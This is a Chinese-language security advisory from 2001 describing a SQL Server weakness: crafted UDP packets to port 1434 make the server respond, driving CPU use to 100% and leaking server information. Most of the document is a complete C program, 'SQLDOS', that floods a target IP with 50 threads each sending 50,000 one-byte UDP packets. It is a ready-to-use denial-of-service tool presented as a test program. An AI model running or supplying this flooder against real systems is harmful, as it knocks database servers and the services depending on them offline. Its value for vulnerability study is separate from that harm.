构造特殊的UDP数据包能造成SQL Server服务器CPU负荷加重漏洞

/ns/ld/softld/data/20011113224642.htm

原创:refdom(refdom)
来源:refdom

作者:refdom (refdom@263.net)

受影响系统:
所有SQL Server系列

漏洞描述:
由于SQL Server对1434端口的UDP没有限制,构造特殊的UDP包,SQL Server就一定会作出回应。如果收到大量的这些UDP包,SQL Server将消耗CPU,来处理这些UDP回应,虽然这不能造成主机当机等严重影响,但是CPU使用率将很容易达到100%,从而造成数据库服务器负荷加重,对其他服务(比如WEB)能造成拒绝服务。同时,恶意攻击者只需要对SQL Server发送一个1个字节的UDP数据,SQL Server将到处发送自己的数据库服务器信息。

解决办法:
暂时没有


测试程序:

// SQLDOS.cpp
//

////////////////////////////////////////////////////////////
//             
// SQLDOS by refdom
//
// Author: refdom.
// Email: refdom@263.net
//
////////////////////////////////////////////////////////////

#include "stdafx.h"
#include <string.h>
#include <stdio.h>

void sendudp (void* v)
{
int i;
char buf[1]={'\x02'};
SOCKADDR_IN addr_in;
char *targetip;
targetip=(char*)v;

SOCKET sock;

if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
printf("Socket failed.Error:%d\n",WSAGetLastError());
return;
}

const int SNDBUF = 0;
const int TCPNODELAY = true;
const int BROADCAST = true;

if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
printf("Set SO_SNDBUF failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
printf("Set TCP_NODELAY failed.Error:%d",WSAGetLastError());
return;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
printf("Set SO_BROADCAST failed.Error:%d",WSAGetLastError());
return;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(targetip);

for (i=1;i<50000;i++)
//发送50000次请求
{
if (sendto(sock, buf, sizeof(buf), 0,(sockaddr*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
{
printf("Send failed.Error:%d\n",WSAGetLastError());
return;
}
}
closesocket(sock);
}

void useage()
{
printf("******************************************\n");
printf("SQLDOS\n");
printf("\t Written by Refdom\n");
printf("\t Email: refdom@263.net\n");
printf("Useage: SQLDOS.exe target_ip \n");
printf("*******************************************\n");
}

int main(int argc, char* argv[])
{
WSADATA WSAData;
int i;
useage();
if (argc<2)
{
return false;
}

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
printf("WSAStartup error.Error:%d\n",WSAGetLastError());
return false;
}
printf("SQLDOS start...");

for (i=1;i<=50;i++)
{
_beginthread(sendudp, 0, (void*)argv[1]);
}

Sleep(500000);
WSACleanup();
printf("SQLDOS Complete.\n");
return 0;
}